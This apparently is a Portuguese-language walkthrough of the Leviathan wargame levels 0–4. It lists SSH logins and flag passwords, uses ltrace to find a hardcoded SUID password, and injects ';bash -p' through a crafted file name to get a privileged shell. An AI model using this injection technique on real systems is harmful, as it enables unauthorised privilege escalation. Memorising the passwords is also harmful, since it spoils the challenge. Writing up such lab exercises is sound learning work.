→ ssh [email protected] -p 2223 (pass: leviathan0)

Assim que conecto via ssh, vejo que dentro da home do usuario existe uma pasta .backup e dentro dessa pasta um arquivo .html. Porque não, abrir esse arquivo e procurar por leviathan1. E acabo encontrando flag/senha.

PPIfmI1qsA

Untitled


→ ssh [email protected] -p 2223 (pass: PPIfmI1qsA)

Na pasta home do usuário leviathan1, existe um arquivo check com permissão de SUID. Com essa

permissão conseguimos executar o arquivo como se fosse o dono do arquivo, nesse caso

o dono do arquivo seria o leviathan2.

> leviathan1@gibson:~$ ls -l -r-sr-x--- 1 leviathan2 leviathan1 15072 Jan 11 19:18 check <

Assim que executamos o arquivo é pedido uma senha, tento usar a senha de login do leviathan1,

mas sem sucesso. Então começo a rodar alguns comandos (strings, cat e ltrace)

Os comandos strings e cat sem sucesso. Já o ltrace, trouxe algo interessante.

(ltrace, ele trás todo o "trajeto" de execução do binário, todas as bibliotecas que são chamadas

e nesse caso a senha que precisamos: sex)

> leviathan1@gibson:~$ ltrace ./check __libc_start_main(0x80491e6, 1, 0xffffd5f4, 0 <unfinished ...> printf("password: ") = 10 getchar(0xf7fbe4a0, 0xf7fd6f80, 0x786573, 0x646f67password: a ) = 97 getchar(0xf7fbe4a0, 0xf7fd6f61, 0x786573, 0x646f67). = 10 getchar(0xf7fbe4a0, 0xf7fd0a61, 0x786573, 0x646f67 ) = 10 strcmp("a\n\n", "sex") = -1 puts("Wrong password, Good Bye ..."Wrong password, Good Bye ... ) = 29 +++ exited (status 0) +++ <

Está la, conseguimos executar o binário com a senha sex, ele basicamente trás uma "nova" shell

com usuário leviathan2, com isso conseguimos ver a senha do proximo nível.

> leviathan1@gibson:~$ ./check password: sex $ id uid=12002(leviathan2) gid=12001(leviathan1) groups=12001(leviathan1) $ $ cat /etc/leviathan_pass/leviathan2 mEh5PNl10e $ <


→ ssh [email protected] -p 2223 (pass: mEh5PNl10e)

O binário que está na pasta do usuário, basicamente lê um arquivo. Utilizando também o ltrace, vejo # todas as bibliotecas e funções que são chamadas pelo binário, vejo que ele chama uma função

system(). E se, eu criar um arquivo com o nome que executa um binário no linux, como por exemplo o # bash.

Fiz da seguinte forma.

> leviathan2@gibson:~$ touch /tmp/"erk12345;bash -p" <

E depois executei o binário

> leviathan2@gibson:~$ ./printfile /tmp/"erk12345;bash -p" <

#E temos la, conseguimos pegar a senha/flag do leviathan3 > leviathan2@gibson:~$ ./printfile /tmp/"erk12345;bash -p" /bin/cat: /tmp/erk12345: No such file or directory leviathan3@gibson:~$ id uid=12003(leviathan3) gid=12002(leviathan2) groups=12002(leviathan2) leviathan3@gibson:~$ cat /etc/leviathan_pass/leviathan3 Q0G8j4sakn <


→ ssh [email protected] -p 2223 (pass: Q0G8j4sakn)

Esse foi simples apenas utilizei o ltrace e fui testando as "palavras" estranhas que apareceram**.**

Untitled


→ ssh [email protected] -p 2223 (pass: AgvropI4OA)